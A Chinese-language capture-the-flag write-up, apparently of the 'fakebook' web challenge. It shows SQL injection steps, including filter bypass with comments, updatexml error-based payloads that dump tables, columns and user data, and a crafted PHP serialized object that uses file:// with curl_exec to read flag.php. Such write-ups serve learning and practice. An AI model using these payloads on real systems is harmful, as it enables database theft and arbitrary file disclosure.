之前对sql注入不熟悉的时候做了一遍差一点成功,现在学习了下sql又做了一遍,思路更加清晰了...
一、涉及知识点:
1.sql注入:参考web学习笔记 3-3 反序列化绕过、2-2 报错注入、3-1 空格绕过、3-11 未知表名爆数据库
2.信息泄露:user.php.bak,备份文件泄露
3.ssrf:file://协议配合curl_exec()函数进行文件读取(我也才知道这叫ssrf)
二、解题过程
打开页面后是这样的
由于join界面blog我怎么输都失败于是准备先进行目录扫描
1、扫描发现user.php.bak文件,下载后打开是页面功能的源码
2.分析代码发现curl_exec()函数,百度搜索发现该函数存在配合file://协议进行任意文件读取的漏洞,规划为反序列化漏洞已经八九不离十了
3.又扫描发现flag.php页面,这个时候思路就十分清晰了,那就是利用这个漏洞获取flag.php的路径并将flag.php文件读取即可
4.根据代码正则发现blog必须要http://开头,然后注册登录,进去后只有一个页面,上面参数no十分显眼,直接判断是否存在sql注入
5.回显存在sql注入,用order by判断列数为4列,同时爆出网站文件路径/var/www/html/
6.用联合注入爆回显点时发现select和union联合存在拦截,而单独存在时则不会过滤;初步判断是空格过滤,参考web安全学习笔记--sql基础下中知识点3-1空格绕过来绕过防火墙,页面回显点为2
7.页面出现反序列化unserialize函数,进一步印证了猜想 ,然后页面返回报错信息爆库,继续采用报错注入得表名、列名和数据
爆库名:union/**/select/**/1,2,3,4 from aaa; //得到fakebook数据库名
爆表名:and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1)# //得到users表
爆列名: and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'),'~'),1)# //得到no,username,passwd,data列
爆data数据:and updatexml(1,concat('~',(select group_concat(data) from users ),'~'),1)# //得到反序列化数据
8.返回页面根据回显点2重新查询一下data数据
9.知道文件路径和文件读取漏洞,直接构造序列化数据
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
10.将数据带入列中,查看源码获取flag的base64加密信息
最终flag:自己解去